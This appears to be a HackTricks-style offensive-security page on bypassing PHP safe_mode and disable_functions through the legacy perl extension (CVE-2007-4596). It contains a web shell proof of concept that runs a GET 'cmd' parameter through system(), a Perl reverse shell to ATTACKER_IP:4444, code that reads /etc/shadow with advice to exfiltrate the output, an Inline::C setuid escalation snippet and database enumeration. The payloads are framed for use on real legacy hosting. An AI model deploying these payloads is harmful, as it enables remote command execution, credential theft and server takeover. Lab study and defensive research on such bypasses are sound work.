PHP Perl Extension Safe_mode Bypass Exploit

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Background

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a full Perl interpreter without honoring PHP’s safe_mode, disable_functions, or open_basedir controls. Any PHP worker that loads extension=perl.so gains unrestricted Perl eval, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although safe_mode disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.

Building a Testable Environment in 2025

  • The last publicly shipped build (perl-1.0.1, January 2013) targets PHP ≥5.0. Fetch it from PECL, compile it for the exact PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Quick Debian-based lab recipe: 
    sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or proc_open blacklists do not matter.

Original PoC (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, still handy to confirm the extension responds to eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload Enhancements

1. Full TTY over TCP

The embedded interpreter can load IO::Socket even if /usr/bin/perl is blocked:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Even with open_basedir

Perl ignores PHP’s open_basedir, so you can read arbitrary files:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Pipe the output through IO::Socket::INET or Net::HTTP to exfiltrate data without touching PHP-managed descriptors.

3. Inline Compilation for Privilege Escalation

If Inline::C exists system-wide, compile helpers inside the request without relying on PHP’s ffi or pcntl:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Treat Perl as a LOLBAS toolkit—e.g., dump MySQL DSNs even if mysqli is missing:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks